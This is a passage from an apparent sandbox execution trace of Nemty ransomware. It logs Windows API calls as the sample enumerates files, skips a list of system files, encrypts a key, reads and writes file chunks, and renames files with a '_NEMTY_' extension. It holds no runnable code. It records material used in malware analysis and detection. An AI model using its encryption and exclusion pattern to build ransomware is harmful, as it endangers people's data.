dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0083.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.535] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0083.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0083.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0083.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0083.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0083.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0083.535] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png._nemty_kgobjgd_")) returned 0 [0083.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0083.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0083.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0083.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0083.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0083.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0083.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0083.536] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2=".") returned 1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="..") returned 1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="...") returned 1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="windows") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="$RECYCLE.BIN") returned 1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="rsa") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="NTDETECT.COM") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="ntldr") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="MSDOS.SYS") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="IO.SYS") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="boot.ini") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="boot.ini") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="AUTOEXEC.BAT") returned 1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="ntuser.dat") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="desktop.ini") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="CONFIG.SYS") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="RECYCLER") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="BOOTSECT.BAK") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="bootmgr") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="programdata") returned -1 [0083.536] lstrcmpiW (lpString1="blackbars80.png", lpString2="appdata") returned 1 [0083.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars80.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0083.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars80.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blackbars80.png", lpUsedDefaultChar=0x0) returned 15 [0083.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0083.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars80.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0083.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars80.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blackbars80.png", lpUsedDefaultChar=0x0) returned 15 [0083.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0083.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars80.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0083.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars80.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blackbars80.png", lpUsedDefaultChar=0x0) returned 15 [0083.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars80.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0083.537] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blackbars80.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blackbars80.png", lpUsedDefaultChar=0x0) returned 15 [0083.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94378 [0083.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0083.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0083.537] Sleep (dwMilliseconds=0x5) [0083.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5728930, dwHighDateTime=0x1d561e7)) [0083.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5728930, dwHighDateTime=0x1d561e7)) [0083.551] GetLastError () returned 0x5 [0083.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0083.551] GetLastError () returned 0x5 [0083.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0083.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0083.552] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0083.552] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0083.552] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0083.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0083.552] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="dkefdhX2o5wQDt3M2l8n0S9ESWdKlHmKPjEt33N1Ex3fZt5c9LrMdc3BErCt62Dq\r\nBYblJVg5cwlfpN//duI6sBel/h74htHp7FQypekTvFu8jt6wXPx+ODoZ7EIgUkPN\r\n+MS/YrBX75B4VC0strXXiDfQ2NaFZ8NQd7VzOe2RDRV1u8dMJ3lJWZt1YdCfMOGF\r\ndS/8oDdM4FC5rv6bfr1LQMiBG78bLXV49Wwom2Ku4NiA+ODJzTMcQydUdQAUiyhU\r\nYzZ8C+1ehngsT5bayyLv11bKCYbH4PK4gkAWBDbT7s4aif50F3zcYPEQnYvFVhJU\r\nb68VvQalC1giF484sw0Wrg==\r\n", pcchString=0x653e91c) returned 1 [0083.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0083.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0083.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0083.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0083.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0083.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0083.552] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0083.552] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0083.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0083.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.571] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.571] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.571] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.581] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.581] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.590] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.600] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.609] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.609] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.609] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.619] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.628] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.628] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.628] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.647] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.647] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.653] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0083.660] CloseHandle (hObject=0xffffffff) returned 0 [0083.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0083.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0083.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0083.660] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0083.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0083.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0083.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0083.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0083.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.660] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png._nemty_kgobjgd_")) returned 0 [0083.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0083.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0083.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0083.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0083.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0083.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0083.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0083.661] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0083.661] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", 